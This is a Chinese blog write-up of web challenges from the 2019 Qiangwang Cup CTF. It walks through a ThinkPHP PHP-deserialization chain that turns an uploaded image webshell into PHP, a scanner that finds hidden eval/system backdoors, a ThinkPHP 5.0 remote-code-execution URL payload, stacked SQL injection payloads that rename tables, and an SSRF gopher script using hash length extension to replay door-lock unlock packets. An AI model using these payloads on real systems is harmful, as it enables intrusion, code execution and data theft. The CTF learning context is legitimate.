2019强网杯CTF线上WriteUp——WEB部分

1.UPLOAD

知识点:代码审计,PHP 反序列化。

步骤:

先打开靶机看看。

登录之后看到这样一个页面,测了一下只能上传能被正常查看的 png。

跳转到了一个新的页面,这个页面似乎没有任何实际功能了。然后可以看到我们图片是正确被上传到服务器上的 /upload/da5703ef349c8b4ca65880a05514ff89/ 下了。

然后我们来扫扫敏感文件,发现 /www.tar.gz 下有内容,下载下来解压看看,发现是 ThinkPHP 5 框架写的。

而且其有 .idea 目录,我们将其导入到 PHPStorm 看看吧。

发现其在 application/web/controller/Register.php 和 application/web/controller/Index.php 下有两个断点,很诡异,估计是 Hint 了。

application/web/controller/Register.php:

application/web/controller/Index.php:

看了看,发现这两个点的流程大概如下。

application/web/controller/Index.php 里的:

首先访问大部分页面例如 index 都会调用 login_check 方法。

该方法会先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。

application/web/controller/Register.php 里的:

Register 的析构方法,估计是想判断注没注册,没注册的给调用 check 也就是 Index 的 index 方法,也就是跳到主页了。

然后再来审一下其他代码,发现上传图片的主要逻辑在 application/web/controller/Profile.php 里。

先检查是否登录,然后判断是否有文件,然后获取后缀,解析图片判断是否为正常图片,再从临时文件拷贝到目标路径。

而 Profile 有 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。

看起来似乎天衣无缝。

但别忘了前面我们有反序列化和析构函数的调用,结合这三个地方我们就可以操控 Profile 里的参数,控制其中的 upload_img 方法,这样我们就能任意更改文件名,让其为我们所用了。

首先用蚁剑生成个马,再用 hex 编辑器构造个图片马,注册个新号上传上去。

然后构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。然后给其 except 成员变量赋值 ['index' => 'img'],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。

而后我们又赋值控制 filename_tmp 和 filename 成员变量。可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过。ext 这里也要赋值,让他进这个判断。而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了。

而后,我们还要构造一个 Register,checker 赋值为 我们上面这个 $profile,registed 赋值为 false,这样在这个对象析构时就会调用 profile 的 index 方法,再跳到 upload_img 了。

最终 Poc 生成脚本如下,PHP 的。

<?php
namespace app\web\controller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

注意这里的文件路劲,看 Profile 的构造方法有切换路径,这里我们反序列化的话似乎不会调用构造方法,所以得自己指定一下路径。

运行,得到 Poc。

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjg2OiIuLi9wdWJsaWMvdXBsb2FkL2RhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5L2U2ZTljNDgzNjg3NTJiMjYwOTE0YTkxMGJlOTA0MjU3LnBuZyI7czo4OiJmaWxlbmFtZSI7czo4NjoiLi4vcHVibGljL3VwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9lNmU5YzQ4MzY4NzUyYjI2MDkxNGE5MTBiZTkwNDI1Ny5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtzOjM6InBuZyI7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9

然后置 coookie。

可以看到我们的小马已经能访问了。

然后蚁剑连上,打开 /flag 文件。

2.高明的黑客

知识点:代码审计,动态测试

步骤:

打开靶机,下载源码

发现大部分文件都是一些垃圾代码,难以解读。

但总有些地方可用的,来写个脚本批量扫描一下 _GET 和 _POST,给他们传一些特定的代码(比如 echo("glzjin"); /echo("glzjin") / echo glzjin,eval,assert,system 函数需要分别处理,一个文件需要用几种姿势多测几次)看看能执行不,能执行返回这种特定的字符串就说明此处可用。

Python 脚本如下:

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件,一行行遍历,读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1

        params[var] = 'echo("glzjin");'

        # print(var)

    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'echo("glzjin");'

        # print(var)

    # eval test
    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = 'echo glzjin'

    for i in data:
        data[i] = 'echo glzjin'

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")

for file in files:  # 遍历文件夹
    if not os.path.isdir(file):  # 判断是否是文件夹,不是文件夹才打开
        # read_file(file)

        pool.submit(read_file, file)

运行脚本,开扫,扫到一个咯~

去这个文件里看看。这一段是关键,拼接了一个 System 出来调用 Efa5BVG 这个参数。

那么就来试试读取 flag 吧。访问 /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

上单

知识点:通用组件已知漏洞熟悉度- -?

打开靶机,发现似乎可以遍历目录。

看看 Readme,似乎是 ThinkPHP 5.0?

直接payload一把梭

/1/public/index?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

随便注

知识点:二次注入

步骤:

打开靶机

提交试试。发现似乎是直接把返回的原始数据给返回了。

然后来测试一下有没有注入,似乎是有的。

/?inject=1%27or+%271%27%3D%271 /?inject=1' or '1'='1

来检查一下过滤情况,过滤函数如下。

过滤了 select,update,delete,drop,insert,where 和 点。

咦,过滤了那么些词,是不是有堆叠注入?一测,还真有。下面列出数据库试试。

/?inject=222%27%3Bshow+databases%3B%23

/?inject=222';show databases;#

OK,可以。那看看有啥表。

/?inject=222%27%3Bshow+tables%3B%23 /?inject=222';show tables;#

来看看这个数字为名字的表里有啥。看来 flag 在这了。

/?inject=222%27%3Bshow+columns%20from%201919810931114514%3B%23 /?inject=222';show columns from1919810931114514;#

然后是 words 表,看起来就是默认查询的表了。

/?inject=222%27%3Bshow+columns%20from%20words%3B%23 /?inject=222';show columns fromwords;#

他既然没过滤 alert 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢。

先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。

这样就可以让程序直接查询出 flag 了。

构造 payload 如下,然后访问,看到这个看来就执行到最后一个语句了。(改表名那里直接从 pma 拷了一个语句过来改- -)

/?inject=1%27;RENAME%20TABLE%20`words`%20TO%20`words1`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20VARCHAR(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20words;#
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#`

用 1' or '1'='1访问一下。

/?inject=1%27+or+%271%27%3D%271# /?inject=1' or '1'='1

5.智能门锁

解题思路

学校管理后台内下载到的抓包文件可以获得10.2.3.103门锁的管理端口为2333,使用TCP通信,根据发送数据和响应数据发现文件内只提供了version字段为1的数据包。

由于门锁位于内网,尝试使用学校管理后台的get_info.php进行ssrf攻击,使用gopher协议向门锁发送TCP请求。

首先尝试对门锁重放版本1的数据包,门锁均无返回且立即断开了连接。

考虑到官方提示中的“门锁固件升级“,猜测门锁已升级至V2版固件,由于V2版固件内只有类型为0x00和0x12的数据包不会检查签名和时间戳,尝试构造V2版数据包向门锁发送。

经测试发现,门锁不响应0x00数据包,说明门锁已经被设置签名密钥,不能通过篡改签名密钥实施开锁。

但0x12数据包成功返回了一个随机数,同时考虑到v1版本和v2版本开门的请求数据包格式是完全相同的,只有开头的版本号不同,若能篡改门锁的时间戳即可尝试使用抓包文件内获取到的开门数据包进行重放攻击。

根据逆向得知数据包的签名方法可以发现,该签名方法存在哈希长度扩展攻击漏洞。

pacp文件内开门数据包前正好存在一个v1版本的时间同步数据包,v1版本的时间同步包不包含extension字段,对其做sha256长度扩展攻击可构造一个存放于extension字段的payload,其首字节因为原sha256计算扩展时填充的0x80,末尾为用于门锁验证用的随机数。

重置服务器时间戳后立即重放提取自pcap文件内修改版本号的开锁数据包

攻击脚本如下:

import socket
import hashpumpy
import requests

class Tester:
    def send_curl(self, packet):
        packet = len(packet).to_bytes(1, 'big') + packet
        packet_url = "%" + "%".join(["%02X" % x for x in packet])
        url = "https://school.ctf.aoicloud.com/get_info.php"
        ret = requests.get(url, headers={
            'client-ip': '192.168.1.1', 'cookie': 'PHPSESSID=
        }, params={
            'url': "gopher://10.2.3.103:2333/_" + packet_url
        })
        return ret.content[1:]

def main():
    tester = Tester()
    packet = b'\x02' + b'\xff' * 32 + b'\x00' * 4 + b'\x12'
    ret = tester.send_curl(packet)
    rand = ret[39:43]
    print('rand:', rand, int.from_bytes(rand, 'big'))

    # 对1版本的数据包做hash长度扩展攻击,篡改门锁时间
    # 2601c8f0ec78f53927540fb72fb8475eab29fe451add68851ad0bc3b6c21050c9bc85ccbdad110
    # 已有的padding能提供64-16-5-1=42字节的内容,剩下的需要追加128-34=94字节的padding
    attack = hashpumpy.hashpump('C8F0EC78F53927540FB72FB8475EAB29FE451ADD68851AD0BC3B6C21050C9BC8',
                                bytes.fromhex('5ccbdad110'), b'\x00'*(128-42)+b'\x04'+rand, 16)
    # attack = hashpumpy.hashpump(known[1:33], known[33:], b'\x00' * 94 + b'\x04' + rand, 16)
    print(attack)
    sign = attack[0]

    packet = b'\x02' + bytes.fromhex(attack[0]) + attack[1]
    print(packet)
    ret = tester.send_curl(packet)

    # # 开门数据包,修改版本号后原样发送即可
    # #280170c896bb5aa844f848cdee8c0542bf438d3c8aa7e43bd09ce4e4351db000e7ff5ccbdad22001f0
    ret = tester.send_curl(bytes.fromhex('0270c896bb5aa844f848cdee8c0542bf438d3c8aa7e43bd09ce4e4351db000e7ff5ccbdad22001f0'))
    print("ret:", ret)

if __name__ == '__main__':
    main()

运行后即可得到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇